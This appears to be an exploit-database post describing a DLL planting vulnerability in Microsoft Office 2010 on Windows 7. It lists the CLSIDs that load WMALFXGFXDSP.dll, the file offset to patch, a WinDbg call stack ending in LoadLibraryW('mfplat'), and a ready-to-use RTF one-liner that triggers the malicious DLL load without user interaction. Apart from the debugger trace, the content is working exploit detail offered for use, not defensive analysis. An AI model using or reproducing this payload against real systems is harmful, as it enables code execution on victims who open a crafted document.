It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially crafted OLE object. The attached POC document "planted-mfplat.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {62dc1a93-ae24-464c-a43e-452f824c4250} (formatted as pack(">IHHBBBBBBBB")) which is one of several registered objects that have an InProcServer32 of WMALFXGFXDSP.dll. Other options include: {637c490d-eee3-4c0a-973f-371958802da2} {874131cb-4ecc-443b-8948-746b89595d20} {96749377-3391-11D2-9EE3-00C04F797396} When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to wmalfxgfxdsp!DllGetClassObject() which does a LoadLibraryW() call for "mfplat". If the attached mfplat.dll is placed in the same directory with the planted-mfplat.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word. Here is the call stack leading up to the vulnerable LoadLibraryW() call: 0:000> kb ChildEBP RetAddr Args to Child 002c8d18 68f02e2f 68f02e70 68f013bc 003f0774 kernel32!LoadLibraryW 002c8d28 68f01ff4 00000000 002c93f4 003ff174 WMALFXGFXDSP!InitAVRTAlloc+0x58 002c8d3c 7660aec6 003f0764 00000000 002c8de4 WMALFXGFXDSP!DllGetClassObject+0x87 002c8d58 765e91cd 003f0764 7660ee84 002c8de4 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30 [d:w7rtmcomole32comobjactdllcache.cxx @ 3324] 002c8d70 765e8e92 002c8d84 7660ee84 002c8de4 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f [d:w7rtmcomole32comobjactdllcache.cxx @ 3831] 002c8da8 765e8c37 002c8dec 00000000 002c93f4 ole32!CClassCache::GetClassObject+0x49 [d:w7rtmcomole32comobjactdllcache.cxx @ 4582] 002c8e24 76603170 76706444 00000000 002c93f4 ole32!CServerContextActivator::CreateInstance+0x110 [d:w7rtmcomole32comobjactactvator.cxx @ 974] 002c8e64 765e8daa 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:w7rtmcomole32actpropsactprops.cxx @ 1917] 002c8eb8 765e8d1f 7670646c 00000000 002c93f4 ole32!CApartmentActivator::CreateInstance+0x112 [d:w7rtmcomole32comobjactactvator.cxx @ 2268] 002c8ed8 765e8aa2 76706494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d [d:w7rtmcomole32comobjactactvator.cxx @ 1737] 002c8ef8 765e8a53 76706494 002c9250 00000000 ole32!CProcessActivator::AttemptActivation+0x2c [d:w7rtmcomole32comobjactactvator.cxx @ 1630] 002c8f34 765e8e0d 76706494 002c9250 00000000 ole32!CProcessActivator::ActivateByContext+0x4f [d:w7rtmcomole32comobjactactvator.cxx @ 1487] 002c8f5c 76603170 76706494 00000000 002c93f4 ole32!CProcessActivator::CreateInstance+0x49 [d:w7rtmcomole32comobjactactvator.cxx @ 1377] 002c8f9c 76602ef4 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:w7rtmcomole32actpropsactprops.cxx @ 1917] 002c91fc 76603170 76706448 00000000 002c93f4 ole32!CClientContextActivator::CreateInstance+0xb0 [d:w7rtmcomole32comobjactactvator.cxx @ 685] 002c923c 76603098 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:w7rtmcomole32actpropsactprops.cxx @ 1917] 002c9a10 76609e25 002c9b2c 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:w7rtmcomole32comobjactobjact.cxx @ 1334] 002c9a70 76609d86 002c9b2c 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9 [d:w7rtmcomole32comobjactimmact.hxx @ 343] 002c9a94 76609d3f 002c9b2c 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:w7rtmcomole32comobjactactapi.cxx @ 157] 002c9ac4 7662154c 002c9b2c 00000000 00000403 ole32!CoCreateInstance+0x37 [d:w7rtmcomole32comobjactactapi.cxx @ 110] 002c9b40 7661f2af 62dc1a93 464cae24 2f453ea4 ole32!wCreateObject+0x106 [d:w7rtmcomole32ole232basecreate.cpp @ 3046] 002c9ba4 7661f1d4 06370820 00000000 5f3363a8 ole32!OleLoadWithoutBinding+0x9c [d:w7rtmcomole32ole232basecreate.cpp @ 1576] 002c9bcc 611483bf 06370820 5f3363a8 045d86e0 ole32!OleLoad+0x37 [d:w7rtmcomole32ole232basecreate.cpp @ 1495] WARNING: Stack unwind information not available. Following frames may be wrong. 002c9c40 5f7c3973 06370820 5f3363a8 045d86e0 mso!Ordinal2023+0x7c 002c9c8c 5f7c3881 036fe800 06370820 5f3363a8 wwlib!DllGetLCID+0x46e24d This DLL load can be triggered without user interaction with the following RTF document: {\rtf1{objectobjemb{*objclass None}{*oleclsid '7b62dc1a93-ae24-464c-a43e-452f824c4250'7d}{*objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000}}} # Iranian Exploit DataBase = http://IeDb.Ir [2016-01-17]